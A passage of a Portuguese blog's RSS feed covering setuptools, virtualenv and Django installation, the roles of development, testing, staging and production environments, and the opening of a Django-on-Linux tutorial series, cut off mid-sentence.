&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ wget http://peak.telecommunity.com/dist/ez_setup.py&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Para instalá-lo é necessário ser &lt;em&gt;&lt;em&gt;root&lt;/em&gt;&lt;/em&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ python ez_setup.py&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Em seguida, vamos instalar o &lt;em&gt;virtualenv&lt;/em&gt; com a ajuda do
&lt;code class=&quot;language-text&quot;&gt;_easy_install_&lt;/code&gt; (que faz parte do pacote &lt;em&gt;setuptools&lt;/em&gt;):&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ easy_install virtualenv&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Esta é uma forma interessante para você instalar módulos &lt;em&gt;Python&lt;/em&gt; em seu
sistema sem recorrer ao sistema de pacotes do &lt;em&gt;SO&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Agora, como um usuário comum, vamos criar um ambiente em nosso
&lt;code class=&quot;language-text&quot;&gt;home&lt;/code&gt; para testarmos o &lt;em&gt;virtualenv&lt;/em&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ virtualenv ~/projeto_django&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Entrando nesta pasta, você irá se deparar com três diretórios:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;bin&lt;/code&gt;: Os executáveis do seu ambiente isolado estarão aí. Você
poderá notar o executável &lt;code class=&quot;language-text&quot;&gt;python&lt;/code&gt;, o &lt;code class=&quot;language-text&quot;&gt;easy_install&lt;/code&gt;, o &lt;code class=&quot;language-text&quot;&gt;pip&lt;/code&gt; e um carinha chamado &lt;code class=&quot;language-text&quot;&gt;activate&lt;/code&gt; (falaremos deste mais tarde).&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;lib&lt;/code&gt;: Nesta pasta você encontrará os módulos e bibliotecas
&lt;em&gt;Python&lt;/em&gt; utilizadas por este ambiente.&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;include&lt;/code&gt;: Segundo o &lt;a href=&quot;http://blog.triveos.com.br/2008/03/03/ambiente-isolado-para-python-com-virtualenv/&quot; title=&quot;Ambiente Isolado para Python com virtualenv&quot;&gt;&lt;em&gt;Osvaldo Santana&lt;/em&gt;&lt;/a&gt;, dentro desse diretório
estão os &lt;em&gt;links&lt;/em&gt; simbólicos para todos os &lt;em&gt;headers&lt;/em&gt; do &lt;em&gt;Python&lt;/em&gt; que
são necessário para se compilar extensões escritas em &lt;em&gt;C&lt;/em&gt; para ele.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Você apenas criou seu ambiente… para ativá-lo basta dar o seguinte
comando:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ source ~/projeto_django/bin/activate&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Pronto! Se você executar o &lt;em&gt;Python&lt;/em&gt; agora, você estará utilizando as
&lt;em&gt;libs&lt;/em&gt; deste ambiente. Isso pode permitir que você mova este
ambiente entre máquinas, que você instale &lt;em&gt;libs&lt;/em&gt; somente neste ambiente
(deixando o &lt;em&gt;Python&lt;/em&gt; do seu &lt;em&gt;SO&lt;/em&gt; “limpo”, isso pode te garantir maior
performance da distro) e que você tenha um controle maior sobre as
dependências do seu projeto.&lt;/p&gt;
&lt;p&gt;Para “sair” do ambiente, basta executar o comando &lt;code class=&quot;language-text&quot;&gt;deactivate&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ deactivate&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Pronto… muito simples, não?&lt;/p&gt;
&lt;h2&gt;Django&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;http://www.profissionaisti.com.br/2009/02/programando-python-para-a-web/&quot; title=&quot;Programando Python para Web&quot;&gt;Saiba um pouco mais sobre a programação &lt;em&gt;Python&lt;/em&gt; para &lt;em&gt;Web&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Vamos instalar o &lt;em&gt;Django&lt;/em&gt; neste ambiente isolado. Ativaremos
novamente o &lt;em&gt;virtualenv&lt;/em&gt; e usaremos o &lt;em&gt;*easy&lt;/em&gt;install*_ para nos
ajudar com esta tarefa:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ source ~/projeto_django/bin/activate
$ easy_install django&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;No final da operação, você irá se deparar com uma saída similar a esta:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;Installed /home/user/projeto_django/lib/python2.6/site-packages/Django-1.2.5-py2.6.egg Processing dependencies for django Finished processing dependencies for django&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Isto é a garantia que o &lt;em&gt;Django&lt;/em&gt; foi &lt;strong&gt;instalado dentro deste
ambiente&lt;/strong&gt;, e não está visível para o escopo global da distribuição.
Tente importa o &lt;em&gt;Django&lt;/em&gt; no terminal interativo do &lt;em&gt;Python&lt;/em&gt; da sua
distro e do &lt;em&gt;Python&lt;/em&gt; do seu ambiente isolado e veja o que acontece…&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://www.profissionaisti.com.br/2009/04/entendendo-o-django/&quot; title=&quot;Entendendo o Django&quot;&gt;Entenda o que é o &lt;em&gt;Django&lt;/em&gt; e como ele funciona&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Até a próxima…&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Diferentes ambientes: Development, Testing, Staging e Production]]></title><description><![CDATA[Uma das práticas mais interessantes nessa
“nova onda” de qualidade que está “encrostada” nas práticas agile
de desenvolvimento de software…]]></description><link>https://klauslaube.com.br/2011/03/07/diferentes-ambientes.html</link><guid isPermaLink="false">https://klauslaube.com.br/2011/03/07/diferentes-ambientes.html</guid><pubDate>Mon, 07 Mar 2011 11:37:00 GMT</pubDate><content:encoded>&lt;p&gt;Uma das práticas mais interessantes nessa
“nova onda” de qualidade que está “encrostada” nas práticas &lt;a href=&quot;/tag/agile.html&quot; title=&quot;Leia mais sobre Agile&quot;&gt;&lt;em&gt;agile&lt;/em&gt;&lt;/a&gt;
de desenvolvimento de &lt;em&gt;software&lt;/em&gt;, é o uso de diferentes ambientes para
diferentes estágios do ciclo de vida de uma aplicação.&lt;/p&gt;
&lt;p&gt;Com auxílio da &lt;a href=&quot;%7Bvirtualbox-uma-maneira-interessante-de-possuir-varios-sos-em-uma-maquina-so.md&quot; title=&quot;Virtualbox: Uma maneira interessante de possuir vários SOs em uma máquina só&quot;&gt;virtualização&lt;/a&gt;, podemos implementar (sem dificuldades)
estes ambientes em qualquer empresa que tenha como cultura entregar
&lt;em&gt;software&lt;/em&gt; de qualidade.&lt;/p&gt;
&lt;h2&gt;Development&lt;/h2&gt;
&lt;p&gt;Ter um ambiente isolado só seu, onde você possa codificar sem se
preocupar com o resto da equipe. Essa é a premissa do ambiente de
desenvolvimento.&lt;/p&gt;
&lt;p&gt;Em &lt;a href=&quot;/tag/python.html&quot; title=&quot;Leia mais sobre Python&quot;&gt;&lt;em&gt;Python&lt;/em&gt;&lt;/a&gt;, é muito simples construirmos um &lt;a href=&quot;http://blog.triveos.com.br/2010/04/25/trabalhando-com-python-e-django/&quot; title=&quot;Trabalhando com Python e Django&quot;&gt;ambiente isolado&lt;/a&gt; em
nossas máquinas, isolado até mesmo do nosso SO. Podemos codificar,
testar, errar e corrigir, sem afetar diretamente os outros membros da
equipe.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://www.setinet.com.br/&quot; title=&quot;Setinet, Internet Controlada&quot;&gt;Onde eu trabalho atualmente&lt;/a&gt;, o ambiente de desenvolvimento é
totalmente construído em uma máquina virtual, devido as fortes
dependências entre ferramentas como &lt;a href=&quot;http://www.nagios.org/&quot; title=&quot;Monitore a sua infraestrutura com Nagios&quot;&gt;&lt;em&gt;Nagios&lt;/em&gt;&lt;/a&gt; e &lt;a href=&quot;http://www.mrtg.org/rrdtool/&quot; title=&quot;Data logging e gráficos com RRDTools&quot;&gt;&lt;em&gt;RRDTools&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Ao fim do dia (ou de uma &lt;em&gt;feature&lt;/em&gt;), você pode “comitar” suas alterações
para uma máquina central, comumente chamada de “Integration” (podendo
ser o responsável por manter um servidor &lt;a href=&quot;http://subversion.tigris.org/&quot; title=&quot;Versionamento de projetos com Subversion&quot;&gt;&lt;em&gt;SVN&lt;/em&gt;&lt;/a&gt; ou um repositório
central quando for um &lt;a href=&quot;http://en.wikipedia.org/wiki/Distributed_Version_Control_System&quot; title=&quot;Leia mais sobre Distributed Version Control System no Wikipedia&quot;&gt;&lt;em&gt;DVCS&lt;/em&gt;&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;Antes de implantar o método descrito acima, o ambiente de
desenvolvimento era um servidor compartilhado onde os membros da equipe
trabalhavam simultaneamente (no mesmo ambiente). Funcionou e tenho
certeza que funcionaria até hoje, mas acredito que ambientes isolado
sejam mais organizados e seguros.&lt;/p&gt;
&lt;h2&gt;Testing&lt;/h2&gt;
&lt;p&gt;Quando você possui uma equipe de testes em seu projeto, nada melhor do
que montar um servidor onde você possa por à prova as últimas
modificações inseridas em sua aplicação.&lt;/p&gt;
&lt;p&gt;Como eu nunca tive a oportunidade de trabalhar com pessoas dedicadas a
testes, geralmente utilizo o próprio ambiente de &lt;em&gt;staging&lt;/em&gt; para testes.&lt;/p&gt;
&lt;p&gt;Embora &lt;a href=&quot;/tag/tdd.html&quot; title=&quot;Leia mais sobre TDD&quot;&gt;testes unitários&lt;/a&gt; e de &lt;a href=&quot;/tag/bdd.html&quot; title=&quot;Leia mais sobre BDD&quot;&gt;aceitação&lt;/a&gt; sejam amplamente
executados em ambiente de desenvolvimento, quando o projeto ficar
gigante, executar todos os testes do projeto a cada nova feature
desenvolvida pode lhe consumir muito tempo. Neste caso é interessante
você construir um &lt;a href=&quot;http://blog.caelum.com.br/integracao-continua/&quot; title=&quot;Leia artigo da Caelum falando sobre Continuous Integration&quot;&gt;servidor de integração contínua&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Na &lt;a href=&quot;http://uptimetecnologia.com.br/&quot; title=&quot;Uptime, garantindo a sua segurança na internet&quot;&gt;&lt;em&gt;Uptime&lt;/em&gt;&lt;/a&gt;, trabalhávamos da seguinte maneira: Existia um servidor
que era responsável apenas por clonar o repositório central e executar
os testes automatizados. Quando um teste falhava, um membro da equipe
era notificado, e ele designava alguém para resolver conflitos e
problemas. O conceito é o mesmo apresentado no &lt;em&gt;link&lt;/em&gt; acima, a exceção é
que esse processo era uma tarefa agendada e executava em determinada
hora do dia (e não diretamente a cada &lt;em&gt;commit&lt;/em&gt; ou em um determinado
momento do processo de integração).&lt;/p&gt;
&lt;h2&gt;Staging&lt;/h2&gt;
&lt;p&gt;O papel do ambiente de &lt;em&gt;staging&lt;/em&gt; é ser o mais próximo da realidade, ou
seja, ele deve ser uma réplica perfeita do ambiente de produção.
Tratando-se de desenvolvimento &lt;a href=&quot;/tag/desenvolvimento-web.html&quot; title=&quot;Leia mais sobre Web&quot;&gt;&lt;em&gt;web&lt;/em&gt;&lt;/a&gt;, deve-se utilizar o mesmo
serviço &lt;em&gt;web&lt;/em&gt;, o mesmo banco de dados, os mesmos módulos e &lt;em&gt;plugins&lt;/em&gt;.
Isso garantirá um &lt;em&gt;deploy&lt;/em&gt; muito mais “suave” para o ambiente de
produção.&lt;/p&gt;
&lt;p&gt;No meu caso específico, utilizei o ambiente de &lt;em&gt;staging&lt;/em&gt; para, além de
testar a aplicação em um ambiente mais “real”, demonstrar as &lt;em&gt;features&lt;/em&gt;
para o cliente. Logo, ele tinha algo real, e com dados que faziam
sentido, antes mesmo do projeto ir para o ar.&lt;/p&gt;
&lt;p&gt;Ficou mais simples determinar se a solução soluciona o seu problema ou
não.&lt;/p&gt;
&lt;h2&gt;Production&lt;/h2&gt;
&lt;p&gt;E finalmente, o ambiente de produção.&lt;/p&gt;
&lt;p&gt;É neste ambiente que a sua aplicação ganha vida e enfrenta a dura
realidade do mundo :)&lt;/p&gt;
&lt;h2&gt;Referências&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;http://spacebug.com/effective_development_environments/&quot; title=&quot;Uma excelente referência, um artigo bem escrito e objetivo.&quot;&gt;&lt;em&gt;Effective Development Environments: Development, Test, Staging/Pre-prod and Production Environments&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://blog.caelum.com.br/integracao-continua/&quot; title=&quot;A Caelum é uma das melhores referências do país sobre agile e desenvolvimento em geral.&quot;&gt;&lt;em&gt;Caelum&lt;/em&gt;: Integração Contínua&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://devagil.wordpress.com/2007/04/14/4611-integracao-continua/&quot; title=&quot;Excelente artigo sobre Integração Contínua dentro do contexto de agile.&quot;&gt;Integração Contínua&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.dotkernel.com/php-development/php-environment-development-staging-production/&quot; title=&quot;Um artigo claro e objetivo sobre os ambientes de Development, Staging e Production.&quot;&gt;&lt;em&gt;PHP Environment: Development Staging Production&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://dltj.org/article/software-development-practice/&quot; title=&quot;Um post muito bom sobre desenvolvimento de software com qualidade.&quot;&gt;&lt;em&gt;Traditional Development/Integration/Staging/Production Practice for Software Development&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Acompanhe a produção dos posts da série &lt;a href=&quot;/2011/03/03/montando-seu-ambiente-de-desenvolvimento-django.html&quot; title=&quot;Saiba como montar o seu ambiente de desenvolvimento para trabalhar com Django&quot;&gt;Montando seu ambiente de
desenvolvimento &lt;em&gt;Django&lt;/em&gt; no &lt;em&gt;Linux&lt;/em&gt;&lt;/a&gt; assinando o &lt;a href=&quot;https://klauslaube.com.br/feed/rss.xml&quot; title=&quot;Leia os posts deste blog no seu leitor RSS favorito&quot;&gt;&lt;em&gt;Feeds RSS&lt;/em&gt;&lt;/a&gt; ou me
seguindo no &lt;a href=&quot;http://www.twitter.com/kplaube&quot; title=&quot;Siga-me no Twitter&quot;&gt;&lt;em&gt;Twitter&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Até a próxima…&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Montando seu ambiente de desenvolvimento Django no Linux]]></title><description><![CDATA[Vou iniciar uma série de publicações mostrando na prática como montar o
seu ambiente de desenvolvimento para trabalhar com Python e
Django…]]></description><link>https://klauslaube.com.br/2011/03/03/montando-seu-ambiente-de-desenvolvimento-django.html</link><guid isPermaLink="false">https://klauslaube.com.br/2011/03/03/montando-seu-ambiente-de-desenvolvimento-django.html</guid><pubDate>Thu, 03 Mar 2011 20:16:00 GMT</pubDate><content:encoded>&lt;p&gt;Vou iniciar uma série de publicações mostrando na prática como montar o
seu ambiente de desenvolvimento para trabalhar com &lt;a href=&quot;/tag/python.html&quot; title=&quot;Leia mais sobre Python&quot;&gt;&lt;em&gt;Python&lt;/em&gt;&lt;/a&gt; e
&lt;a href=&quot;/tag/django.html&quot; title=&quot;Leia mais sobre Django&quot;&gt;&lt;em&gt;Django&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;O objetivo é ilustrar como você pode facilmente ingressar no &lt;em&gt;Django&lt;/em&gt; e
ter um conjunto de ferramentas simples e eficientes que lhe ajudarão a
desenvolver de forma produtiva e com qualidade.&lt;/p&gt;
&lt;p&gt;Os tópicos serão os seguintes (sujeito a alteração):&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;http://klauslaube.com.br/2011/03/03/montando-seu-ambiente-de-desenvolvimento-django/&quot; title=&quot;Montando seu ambiente de desenvolvimento Django no Linux&quot;&gt;Motivação (este &lt;em&gt;post&lt;/em&gt;)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://klauslaube.com.br/2011/03/07/diferentes-ambientes/&quot; title=&quot;Descubra a diferença entre os ambientes de desenvolvimento&quot;&gt;Diferentes ambientes: &lt;em&gt;Development&lt;/em&gt;, &lt;em&gt;Testing&lt;/em&gt;, &lt;em&gt;Staging&lt;/em&gt; e &lt;em&gt;Production&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://klauslaube.com.br/2011/03/18/python-django-virtualenv/&quot; title=&quot;Python, Django e virtualenv&quot;&gt;&lt;em&gt;Python&lt;/em&gt;, &lt;em&gt;Django&lt;/em&gt; e &lt;em&gt;virtualenv&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://klauslaube.com.br/2011/04/11/como-organizar-seus-projetos-django/&quot; title=&quot;Conheça uma forma bacana para você organizar seus projetos Django&quot;&gt;Como organizar seus projetos &lt;em&gt;Django&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://klauslaube.com.br/2011/05/10/como-versionar-projetos-django-mercurial-parte/&quot; title=&quot;Leia uma introdução ao Mercurial e saiba a razão de não falar sobre Git&quot;&gt;Como versionar projetos &lt;em&gt;Django&lt;/em&gt; com o &lt;em&gt;Mercurial&lt;/em&gt; – Parte 1&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://klauslaube.com.br/2011/05/22/como-versionar-projetos-django-mercurial-parte-2/&quot; title=&quot;Continuação do post sobre Mercurial e Django&quot;&gt;Como versionar projetos &lt;em&gt;Django&lt;/em&gt; com o &lt;em&gt;Mercurial&lt;/em&gt; – Parte 2&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://klauslaube.com.br/2011/06/04/como-versionar-projetos-django-mercurial-parte-3/&quot; title=&quot;Parte final do tutorial sobre Mercurial e Django&quot;&gt;Como versionar projetos &lt;em&gt;Django&lt;/em&gt; com o &lt;em&gt;Mercurial&lt;/em&gt; – Parte 3&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://klauslaube.com.br/2011/07/18/ferramentas-de-testes-em-django-parte-1/&quot; title=&quot;Descubra que é possível sim escrever testes em Django&quot;&gt;Ferramentas de testes em &lt;em&gt;Django&lt;/em&gt; – Parte 1&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://klauslaube.com.br/2011/07/23/ferramentas-de-testes-em-django-parte-2/&quot; title=&quot;A continuação do post sobre testes em Django com algumas ferramentas eficientes&quot;&gt;Ferramentas de testes em &lt;em&gt;Django&lt;/em&gt; – Parte 2&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://klauslaube.com.br/2011/08/26/assegure-qualidade-seu-codigo-python-pep/&quot; title=&quot;Conheça o pep8, e deixe o seu código dentro das convenções do Python&quot;&gt;Assegure a qualidade do seu código &lt;em&gt;Python&lt;/em&gt; – &lt;em&gt;pep8&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://klauslaube.com.br/2011/09/06/assegura-a-qualidade-de-codigo-python-pylint/&quot; title=&quot;Assegure a qualidade do seu código utilizando o Pylint&quot;&gt;Assegure a qualidade do seu código &lt;em&gt;Python&lt;/em&gt; – &lt;em&gt;Pylint&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://klauslaube.com.br/2011/10/02/assegure-qualidade-seu-codigo-python-pyflakes/&quot; title=&quot;Conheça o Pyflakes, e garanta a qualidade do seu código Python&quot;&gt;Assegure a qualidade do seu código &lt;em&gt;Python&lt;/em&gt; – &lt;em&gt;Pyflakes&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://klauslaube.com.br/2011/10/16/assegure-qualidade-seu-codigo-python-clone-digger/&quot; title=&quot;Aprenda a prevenir código duplicado com o Clone Digger&quot;&gt;Assegure a qualidade do seu código &lt;em&gt;Python&lt;/em&gt; – &lt;em&gt;Clone Digger&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://klauslaube.com.br/2011/11/20/migrations-em-django-south/&quot; title=&quot;Aprenda a fazer atualização da estrutura do seu banco de dados, de forma automatizada&quot;&gt;Migrations em &lt;em&gt;Django&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://klauslaube.com.br/2011/12/19/nginx-poderoso-rapido-facil/&quot; title=&quot;Conheça o Nginx! Uma alternativa mais poderosa ao Apache&quot;&gt;&lt;em&gt;Nginx&lt;/em&gt;: poderoso, rápido e fácil&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://klauslaube.com.br/2012/01/23/supervisor-gerencie-os-processos-seu-servidor-web/&quot; title=&quot;Conheça o Supervisor, e tenha os processos do seu servidor, sob controle&quot;&gt;&lt;em&gt;Supervisor&lt;/em&gt;: Aumentando a disponibilidade das suas aplicações &lt;em&gt;Web&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://klauslaube.com.br/2012/02/26/automatize-o-deploy-dos-seus-projetos-com-fabric/&quot; title=&quot;Veja um exemplo prático de automatização de deploy com Fabric&quot;&gt;Automatize o &lt;em&gt;deploy&lt;/em&gt; dos seus projetos com &lt;em&gt;Fabric&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://klauslaube.com.br/2012/06/17/django-e-cache-uma-dupla-de-alta-performance-1/&quot; title=&quot;Conheça o framework de cache do Django e como usá-lo com o Memcached&quot;&gt;&lt;em&gt;Django&lt;/em&gt; e &lt;em&gt;Cache&lt;/em&gt;: Uma dupla de alta performance – Parte 1&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://klauslaube.com.br/2012/07/22/django-e-cache-uma-dupla-de-alta-performance-2/&quot; title=&quot;Conheça um pouco mais do framework de cache do Django&quot;&gt;&lt;em&gt;Django&lt;/em&gt; e &lt;em&gt;Cache&lt;/em&gt;: Uma dupla de alta performance – Parte 2&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Criando um servidor para projetos &lt;em&gt;Django&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Requisitos&lt;/h2&gt;
&lt;p&gt;Existem centenas (senão milhares) de tutoriais deste tipo espalhados
pela &lt;a href=&quot;/tag/desenvolvimento-web.html&quot; title=&quot;Leia mais sobre Web&quot;&gt;&lt;em&gt;web&lt;/em&gt;&lt;/a&gt;, portanto, para variar um pouquinho vamos usar um
ambiente de desenvolvimento diferente:&lt;/p&gt;
&lt;h3&gt;Sistemas Operacionais: Debian e Slackware&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 120px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/0b0df49865bd786ad46a2849f2e5ca02/070ae/tux.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 100%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAEzUlEQVQ4y30Ua0yTV/R8X8tLCUaJQHiOSTIWFMgegsQF/8CmMSIQwoKaJVI3EzLNxMCURKILOgxDs2xDnNgpzhFkUnA6zQaijNIyoGIRWAHZKFKQV6E0UErv2bmfUGa27CQn99zzuueeF8B/QEREhHSKogipqamQnp4u7N27V9i+fbtTZ+3atZL8fyEoKAgMBgPs27cPNm/eLCKiZLF+/XpYtWqVpKNWq2X8HhISAidOnHDy/wXLAnICmZmZsmWaYLUgCKF0BhLK6uvrJb2YmBgxKysLsrOzgeQvO+OhHz58WHKQk5Mj7tq1i7NfLSgouKhSqYwNDQ1z9+/ft9bU1Ojz8vJySObq4+MDcXFxYlRUFHD6pe/zS2hoKOzZs0e2ZcsW/p33ysvLpycmJnB2dhZHR0dxZGREOru7u7G4uFhDZr7cdsOGDaKnp+dKlJzgSHlZfiI6NzfXZjKZcG5uzmYafua4dauWNTermdk8tUgP2LRaLWZkZKhJV84NPDw8ViL09fV15o4j3R+WlJSgwfDHAo+q/NoNFhUZxT4+9AkbNJrQNDzMurq6bEeOHOEJ/pTbBgQEyAggMDDQmfjl6Lb5+fnh8ePHHLfv3GG69jb2SKtkjXVK1DVew9bGGvagUY1K5WXHgQMH0M3NrZ8cOctMqXjhcOPGja7UJpz3mbu7OyYkJNgPHvyIaTRtrLmhCG1D8WjUfoj6di1e/6GCJe/ezWJjYxn/GC842UNkZKRcoVAAUL5E3ndKpfKt6OjoMa5ERXFoNBrkMDpmxQbVfmx9eAEXJQ6ysrIyJpfLF7nuzp0764nnevToUUhJSRFhqew7aCIwPDycv2g/deqUZGi1WtFuX8DJqQW0zNrRNj+H8/M2ZIxhYmKipBsfH49JSUkdRPtI/7bZbLBmzZp0FxeXPLq2UmKxv7/fQRVmMzMzzGKZQavVQu1jQYvFgtPTZsahurp6+cvfenl5Kby9vV/39/cH4KFKxAvISk5ORnJkHxsbY+Pj4xzxn8j5ZrOZ8X4MCwuzk80r3JD3cXBwMEBhYSGsW7dOvuTwtfz8/Lnn1MBG4yAbGjISDnHEJWRDRiOaTMP2np4eVCgyG3lRGx48kNPoCuSHHKYKUKf6BroHzOKvHVa4evXKpcd6PT59OmDv7evHvl4DYe8SGpB4bGDgT6ZubsYLpaXJZ0p/AeV338uqRtNg8CxNCysVYPpWBKjOp4gthXz+BY/am5X6R7p2fKxrc3Q86WP6zi6HvvOJo6Ozj3U+al9s1aqx8tplJY9u4jyAVrMfYshy8ktyOP+VAM9KvAQDlWT4c3hnpnZHxWT7xb8m9ddx/Pev7f0/H8OOtmbsoB4cuH0Ip1oK7ebOK4vWztLBmbspTSPnIM1UBGCuChSenyOHupMCNbeXgNSBI2VQbVMHIBrfRHy2CbEvHGdrwFGrzO+uuHRWN1UJs9gTRLIw0glHW4sfPr8q1vFhQ4wCQ5HIN41z6bgmvCHbVnUGSltVUK+7C011ZXAv+335aZJlEKanxstzf/wCbjTdFO79Vgk/lZ+E81s3iW/z0UUMW1lfH7wrQGy45Ho1LRBPAHfaGK4hAC6EEEbbKNLVRYzkXUC2QbRnA0jmTfRqvmzStsqE04oXkf0NOJaytkILi4MAAAAASUVORK5CYII=&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;&amp;quot;Tux, o mascote do Linux&amp;quot;&quot;
        title=&quot;Tux, o mascote do Linux&quot;
        src=&quot;/static/0b0df49865bd786ad46a2849f2e5ca02/070ae/tux.png&quot;
        srcset=&quot;/static/0b0df49865bd786ad46a2849f2e5ca02/070ae/tux.png 120w&quot;
        sizes=&quot;(max-width: 120px) 100vw, 120px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Tux, o mascote do Linux&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Embora eu vá utilizar o &lt;a href=&quot;http://www.debian.org/&quot; title=&quot;Debian, uma das mais famosas e estáveis distros Linux&quot;&gt;&lt;em&gt;Debian 6&lt;/em&gt;&lt;/a&gt; no
ambiente de desenvolvimento, isolarei o ambiente de &lt;em&gt;staging&lt;/em&gt; em uma
